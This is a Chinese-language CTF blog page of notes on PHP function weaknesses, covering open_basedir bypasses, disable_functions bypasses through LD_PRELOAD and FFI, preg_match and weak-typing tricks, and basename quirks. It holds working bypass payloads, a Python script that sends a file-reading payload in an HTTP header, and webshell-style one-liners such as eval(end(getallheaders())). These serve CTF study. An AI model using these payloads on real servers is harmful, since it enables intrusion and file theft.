Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • Catalogue

  • 隐写术
  • PHP

    • PHP 代码执行相关
    • PHP中的扩展
    • PHP中函数的安全漏洞
      • open_basedir绕过
        • 扩展资料
      • Bypass `disabled_function`
        • LD_PRELOAD
        • php 7.4 FFI
      • preg_match
      • is_numeric()
      • eregi
      • basename
        • 其他一些有用的函数和调用
    • PHP内核
    • PHP序列化问题
    • PHP中的协议利用
    • fastcgi
    • fi
    • webshell
    • Thinkphp
    • laravel 框架
    • PHP积累
  • protocol
  • Java

  • Node

  • Python

  • Golang

  • Arbitrary Code Execution
  • Shell
  • SQLi
  • SSRF
  • SSTI
  • lfi
  • XSS
  • XXE
  • convert
  • .htaccess文件利用
  • 序列化与反序列化问题小结
  • CTF
  • PHP
Eki
2021-05-10
目录

PHP中函数的安全漏洞

# PHP中函数的安全漏洞

# open_basedir绕过

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
1

分析:https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/

symlink 法

def exploit(f):
    #print f
    payload="""
error_reporting(E_ALL);
chdir("/var/www/html/sandbox/f700deb7a6e26f106e3103e6257bb68a75a1a5f3/");
mkdir('./{0}/b/c/d/e/f/g/',0777,TRUE);
symlink('./{0}/b/c/d/e/f/g','{1}');
ini_set('open_basedir','/var/www/html/sandbox/f700deb7a6e26f106e3103e6257bb68a75a1a5f3:{2}/');
symlink('{1}/../../../../../../','{2}');
unlink('{1}');
echo base64_encode(file_get_contents('{2}{3}'));
""".format(randomstr(),randomstr(),randomstr(),f)
    poc= payload.replace("\n",'')
    #print poc
    headers = {
        "eki":poc
    }
    req=requests.get(url,headers=headers)
    print req.text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

# 扩展资料

https://www.mi1k7ea.com/2019/07/20/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-open-basedir%E7%9A%84%E6%96%B9%E6%B3%95/

# Bypass disabled_function

# LD_PRELOAD

原理:

PHP 的 putenv()函数,设定 LD_PRELOAD(环境变量) 为 hack.so。

利用 PHP 的 mail()函数,mail() 内部启动新进程 /usr/sbin/sendmail,因为上一步 LD_PRELOAD的作用,sendmail 调用的void()函数 被优先级更好的 hack.so 中的同名 getuid()函数所劫持。

# Exp

https://github.com/ianxtianxt/bypass_disablefunc_via_LD_PRELOAD

# php 7.4 FFI

根据官方文档FFI是可以直接调用系统函数的

比如这样

<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("id > /tmp/eki");
echo file_get_contents("/tmp/eki");
@unlink("/tmp/eki");
1
2
3
4
5

但是FFI API仅能适用于预加载文件

# preg_match

  1. 修改htaccess参数

    php_value pcre.backtrack_limit 0
    php_value pcre.jit 0 
    
    1
    2
  2. 数组绕过

# is_numeric()

用于判断是否是数字,通常配合数值判断

is_numeric(@$a["param1"])?exit:NULL;
if(@$a["param1"]){
    ($a["param1"]>2017)?$v1=1:NULL;
}
1
2
3
4
$pos = array_search("nudt",$a["param2"]);
$pos ==false?die("nope"):NULL;
foreach($a["param2"] as $key=>$val){
        $val==="nudt"?die("nope"):NULL;
    }
//param2中需要匹配到nudt然而是弱类型,0==任何字符串,用0可以过掉弱类型检查字符串
1
2
3
4
5
6

# eregi

存在\x00截断的问题

# basename

https://bugs.php.net/bug.php?id=62119

会去掉文件名开头的非ASCII值:

var_dump(basename("xffconfig.php")); // => config.php
var_dump(basename("config.php/xff")); // => config.php
1
2

# 其他一些有用的函数和调用

  • get_defined_vars()

    获取文件中全部变量,包括include

  • eval(end(getallheaders()))

    利用HTTP最后的一个header传参

  • eval(getallheaders(){'a'})

    利用HTTP名为a的header传参

  • error_reporting(E_ALL); 开启报错

  • getcwd() 获得当前路径

编辑 (opens new window)
上次更新: 2022/01/17, 16:49:24
PHP中的扩展
PHP内核

← PHP中的扩展 PHP内核→

最近更新
01
QWB CTF2022 线下赛总决赛部分题解
08-25
02
CISCN2022 总决赛部分题解
08-25
03
DSCTF2022决赛 部分writeup
08-08
更多文章>
Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
This work is licensed under a Creative Commons Attribution 4.0 International License.
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式